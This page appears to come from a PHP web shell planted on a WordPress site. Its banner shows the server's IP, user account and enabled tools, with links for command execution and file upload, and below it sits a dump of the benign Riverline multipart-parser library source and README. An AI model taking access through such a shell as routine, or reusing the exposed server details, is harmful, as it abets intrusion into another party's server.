Server IP : 213.176.29.180 / Your IP : 3.15.198.120 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/wp-includes/sitemaps/../../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
multipart-parser/src/StreamedPart.php 0000644 00000027462 14736103402 0013765 0 ustar 00 <?php /* * This file is part of the MultiPartParser package. * * (c) Romain Cambien <romain@cambien.net> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Riverline\MultiPartParser; /** * Class StreamedPart */ class StreamedPart { /** * @var resource */ private $stream; /** * @var array */ private $headers; /** * @var int */ private $bodyOffset; /** * @var StreamedPart[] */ private $parts = array(); /** * The length of the EOL character. * * @var int */ private $EOLCharacterLength; /** * StreamParser constructor. * * @param resource $stream * @param int $EOLCharacterLength */ public function __construct($stream, $EOLCharacterLength = 2) { if (false === is_resource($stream)) { throw new \InvalidArgumentException('Input is not a stream'); } if (false === is_integer($EOLCharacterLength)) { throw new \InvalidArgumentException('EOL Length is not an integer'); } $this->stream = $stream; $this->EOLCharacterLength = $EOLCharacterLength; // Reset the stream rewind($this->stream); // Parse headers $endOfHeaders = false; $bufferSize = 8192; $headerLines = []; $buffer = ''; while (false !== ($line = fgets($this->stream, $bufferSize))) { // Append to buffer $buffer .= rtrim($line, "\r\n"); if (strlen($line) === $bufferSize-1) { // EOL not reached, continue continue; } if ('' === $buffer) { // Empty line cause by double new line, we reached the end of the headers section $endOfHeaders = true; break; } // Detect horizontal whitescapes before header $trimmed = ltrim($buffer); if (strlen($buffer) > strlen($trimmed)) { // Multi lines header, append to previous line $headerLines[count($headerLines)-1] .= "\x20".$trimmed; } else { $headerLines[] = $buffer; } // Reset buffer $buffer = ''; } if (false === $endOfHeaders) { throw new \InvalidArgumentException('Content is not valid'); } $this->headers = []; foreach ($headerLines as $line) { $lineSplit = explode(':', $line, 2); if (2 === count($lineSplit)) { list($key, $value) = $lineSplit; // Decode value $value = mb_decode_mimeheader(trim($value)); } else { // Bogus header $key = $lineSplit[0]; $value = ''; } // Case-insensitive key $key = strtolower($key); if (false === key_exists($key, $this->headers)) { $this->headers[$key] = $value; } else { // Already got an header with this key, convert to array if (false === is_array($this->headers[$key])) { $this->headers[$key] = (array) $this->headers[$key]; } $this->headers[$key][] = $value; } } $this->bodyOffset = ftell($stream); // Is MultiPart ? if ($this->isMultiPart()) { // MultiPart ! $boundary = self::getHeaderOption($this->getHeader('Content-Type'), 'boundary'); if (null === $boundary) { throw new \InvalidArgumentException("Can't find boundary in content type"); } $separator = '--'.$boundary; $partOffset = 0; $endOfBody = false; while ($line = fgets($this->stream, $bufferSize)) { $trimmed = rtrim($line, "\r\n"); // Search the separator if ($trimmed === $separator || $trimmed === $separator.'--') { if ($partOffset > 0) { $currentOffset = ftell($this->stream); // Get end of line length (should be 2) $eofLength = strlen($line) - strlen($trimmed); $partLength = $currentOffset - $partOffset - strlen($trimmed) - (2 * $eofLength); // if we are at the end of a part, and there is no trailing new line ($eofLength == 0) // means that we are also at the end of the stream. // we do not know if $eofLength is 1 or two, so we'll use the EOLCharacterLength value // which is 2 by default. if ($eofLength === 0 && feof($this->stream)) { $partLength = $currentOffset - $partOffset - strlen($line) - $this->EOLCharacterLength; } // Copy part in a new stream $partStream = fopen('php://temp', 'rw'); stream_copy_to_stream($this->stream, $partStream, $partLength, $partOffset); $this->parts[] = new self($partStream, $this->EOLCharacterLength); // Reset current stream offset fseek($this->stream, $currentOffset); } if ($trimmed === $separator.'--') { // We reach the end separator $endOfBody = true; break; } // Update the part offset $partOffset = ftell($this->stream); } } if (0 === count($this->parts) || false === $endOfBody ) { throw new \LogicException("Can't find multi-part content"); } } } /** * @return bool */ public function isMultiPart() { return ('multipart' === mb_strstr( self::getHeaderValue($this->getHeader('Content-Type')), '/', true )); } /** * @return string * * @throws \LogicException if is multipart */ public function getBody() { if ($this->isMultiPart()) { throw new \LogicException("MultiPart content, there aren't body"); } $body = stream_get_contents($this->stream, -1, $this->bodyOffset); // Decode $encoding = strtolower((string) $this->getHeader('Content-Transfer-Encoding')); switch ($encoding) { case 'base64': $body = base64_decode($body); break; case 'quoted-printable': $body = quoted_printable_decode($body); break; } // Convert to UTF-8 ( Not if binary or 7bit ( aka Ascii ) ) if (false === in_array($encoding, array('binary', '7bit'))) { // Charset $contentType = $this->getHeader('Content-Type'); $charset = self::getHeaderOption($contentType, 'charset'); if (null === $charset) { // Try to detect $charset = mb_detect_encoding($body) ?: 'utf-8'; } // Only convert if not UTF-8 if ('utf-8' !== strtolower($charset)) { $body = mb_convert_encoding($body, 'utf-8', $charset); } } return $body; } /** * @return array */ public function getHeaders() { return $this->headers; } /** * @param string $key * * @param mixed $default * * @return mixed */ public function getHeader($key, $default = null) { // Case-insensitive key $key = strtolower($key); if (false === isset($this->headers[$key])) { return $default; } return $this->headers[$key]; } /** * @param string $header * * @return string */ public static function getHeaderValue($header) { list($value) = self::parseHeaderContent($header); return $value; } /** * @param string $header * * @return array */ public static function getHeaderOptions($header) { list(, $options) = self::parseHeaderContent($header); return $options; } /** * @param string $header * @param string $key * * @param mixed $default * * @return mixed */ public static function getHeaderOption($header, $key, $default = null) { $options = self::getHeaderOptions($header); if (false === isset($options[$key])) { return $default; } return $options[$key]; } /** * @return string */ public function getMimeType() { // Find Content-Disposition $contentType = $this->getHeader('Content-Type'); return self::getHeaderValue($contentType) ?: 'application/octet-stream'; } /** * @return string|null */ public function getName() { // Find Content-Disposition $contentDisposition = $this->getHeader('Content-Disposition'); return self::getHeaderOption($contentDisposition, 'name'); } /** * @return string|null */ public function getFileName() { // Find Content-Disposition $contentDisposition = $this->getHeader('Content-Disposition'); return self::getHeaderOption($contentDisposition, 'filename'); } /** * @return bool */ public function isFile() { return (false === is_null($this->getFileName())); } /** * @return StreamedPart[] * * @throws \LogicException if is not multipart */ public function getParts() { if (false === $this->isMultiPart()) { throw new \LogicException("Not MultiPart content, there aren't any parts"); } return $this->parts; } /** * @param string $name * * @return Part[] * * @throws \LogicException if is not multipart */ public function getPartsByName($name) { $parts = array(); foreach ($this->getParts() as $part) { if ($part->getName() === $name) { $parts[] = $part; } } return $parts; } /** * @param string $content * * @return array */ private static function parseHeaderContent($content) { $parts = explode(';', (string) $content); $headerValue = array_shift($parts); $options = array(); // Parse options foreach ($parts as $part) { if (false === empty($part)) { $partSplit = explode('=', $part, 2); if (2 === count($partSplit)) { list ($key, $value) = $partSplit; if ('*' === substr($key, -1)) { // RFC 5987 $key = substr($key, 0, -1); if (preg_match( "/(?P<charset>[\w!#$%&+^_`{}~-]+)'(?P<language>[\w-]*)'(?P<value>.*)$/", $value, $matches )) { $value = mb_convert_encoding( rawurldecode($matches['value']), 'utf-8', $matches['charset'] ); } } $options[trim($key)] = trim($value, ' "'); } else { // Bogus option $options[$partSplit[0]] = ''; } } } return array($headerValue, $options); } } multipart-parser/src/Converters/PSR7.php 0000644 00000002046 14736103402 0014246 0 ustar 00 <?php /* * This file is part of the MultiPartParser package. * * (c) Romain Cambien <romain@cambien.net> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Riverline\MultiPartParser\Converters; use Psr\Http\Message\MessageInterface; use Riverline\MultiPartParser\StreamedPart; /** * Class PSR7 */ class PSR7 { /** * @param MessageInterface $message * * @return StreamedPart */ public static function convert(MessageInterface $message) { $stream = fopen('php://temp', 'rw'); foreach ($message->getHeaders() as $key => $values) { foreach ($values as $value) { fwrite($stream, "$key: $value\r\n"); } } fwrite($stream, "\r\n"); $body = $message->getBody(); $body->rewind(); while (!$body->eof()) { fwrite($stream, $body->read(1024)); } rewind($stream); return new StreamedPart($stream); } } multipart-parser/src/Converters/Globals.php 0000644 00000002242 14736103402 0015074 0 ustar 00 <?php /* * This file is part of the MultiPartParser package. * * (c) Romain Cambien <romain@cambien.net> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Riverline\MultiPartParser\Converters; use Riverline\MultiPartParser\StreamedPart; /** * Class GlobalsTest */ class Globals { /** * @param bool|resource $input * * @return StreamedPart */ public static function convert($input = STDIN) { $stream = fopen('php://temp', 'rw'); foreach ($_SERVER as $key => $value) { if (0 === strpos($key, 'HTTP_')) { $key = str_replace('_', '-', strtolower(substr($key, 5))); fwrite($stream, "$key: $value\r\n"); } elseif (in_array($key, ['CONTENT_LENGTH', 'CONTENT_MD5', 'CONTENT_TYPE'])) { $key = str_replace('_', '-', strtolower($key)); fwrite($stream, "$key: $value\r\n"); } } fwrite($stream, "\r\n"); stream_copy_to_stream($input, $stream); rewind($stream); return new StreamedPart($stream); } } multipart-parser/src/Converters/HttpFoundation.php 0000644 00000001500 14736103402 0016453 0 ustar 00 <?php /* * This file is part of the MultiPartParser package. * * (c) Romain Cambien <romain@cambien.net> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Riverline\MultiPartParser\Converters; use Riverline\MultiPartParser\StreamedPart; use Symfony\Component\HttpFoundation\Request; /** * Class HttpFoundation */ class HttpFoundation { /** * @param Request $request * * @return StreamedPart */ public static function convert(Request $request) { $stream = fopen('php://temp', 'rw'); fwrite($stream, (string) $request->headers."\r\n"); stream_copy_to_stream($request->getContent(true), $stream); rewind($stream); return new StreamedPart($stream); } } multipart-parser/src/Part.php 0000644 00000001317 14736103402 0012267 0 ustar 00 <?php /* * This file is part of the MultiPartParser package. * * (c) Romain Cambien <romain@cambien.net> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Riverline\MultiPartParser; /** * Class Part * * @deprecated Wrapper class, use StreamedPart */ class Part extends StreamedPart { /** * MultiPart constructor. * * @param string $content * * @throws \InvalidArgumentException */ public function __construct($content) { $stream = fopen('php://temp', 'rw'); fwrite($stream, $content); rewind($stream); parent::__construct($stream); } } multipart-parser/README.md 0000644 00000005153 14736103402 0011342 0 ustar 00 # README [![Build Status](https://travis-ci.org/Riverline/multipart-parser.svg?branch=master)](https://travis-ci.org/Riverline/multipart-parser) ## What is Riverline\MultiPartParser ``Riverline\MultiPartParse`` is a one class library to parse multipart document ( multipart email, multipart form, etc ...) and manage each part encoding and charset to extract their content. ## Requirements * PHP >= 5.6 ## Installation ``Riverline\MultiPartParse`` is compatible with composer and any psr-0/psr-4 autoloader. ``` composer require riverline/multipart-parser ``` ## Usage ```php <?php use Riverline\MultiPartParser\StreamedPart; // Prepare a test stream $data = <<<EOL User-Agent: curl/7.21.2 (x86_64-apple-darwin) Host: localhost:8080 Accept: */* Content-Type: multipart/form-data; boundary=----------------------------83ff53821b7c ------------------------------83ff53821b7c Content-Disposition: form-data; name="foo" bar ------------------------------83ff53821b7c Content-Transfer-Encoding: base64 YmFzZTY0 ------------------------------83ff53821b7c Content-Disposition: form-data; name="upload"; filename="text.txt" Content-Type: text/plain File content ------------------------------83ff53821b7c-- EOL; $stream = fopen('php://temp', 'rw'); fwrite($stream, $data); rewind($stream); $document = new StreamedPart($stream); if ($document->isMultiPart()) { $parts = $document->getParts(); echo $parts[0]->getBody(); // Output bar // It decode encoded content echo $parts[1]->getBody(); // Output base64 // You can also filter by part name $parts = $document->getPartsByName('foo'); echo $parts[0]->getName(); // Output foo // You can extract the headers $contentDisposition = $parts[0]->getHeader('Content-Disposition'); echo $contentDisposition; // Output Content-Disposition: form-data; name="foo" // Helpers echo StreamedPart::getHeaderValue($contentDisposition); // Output form-data echo StreamedPart::getHeaderOption($contentDisposition, 'name'); // Output foo // File helper if ($parts[2]->isFile()) { echo $parts[2]->getFileName(); // Output text.txt echo $parts[2]->getMimeType(); // Output text/plain } } ``` ## Converters The libary also provide three converters to quickly parse `PSR-7`, `HttpFoundation` and native requests. ```php <?php use \Riverline\MultiPartParser\Converters; // Parse $_SERVER and STDIN $document = Converters\Globals::convert(); ``` ## Backward compatibility The old `Part` parser is now deprecated and replaced with a wrapper class that create a temporary stream from the string content and call the new `StreamedPart` parser. multipart-parser/LICENSE 0000644 00000002047 14736103402 0011067 0 ustar 00 Copyright (c) 2015-2016 Romain Cambien Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.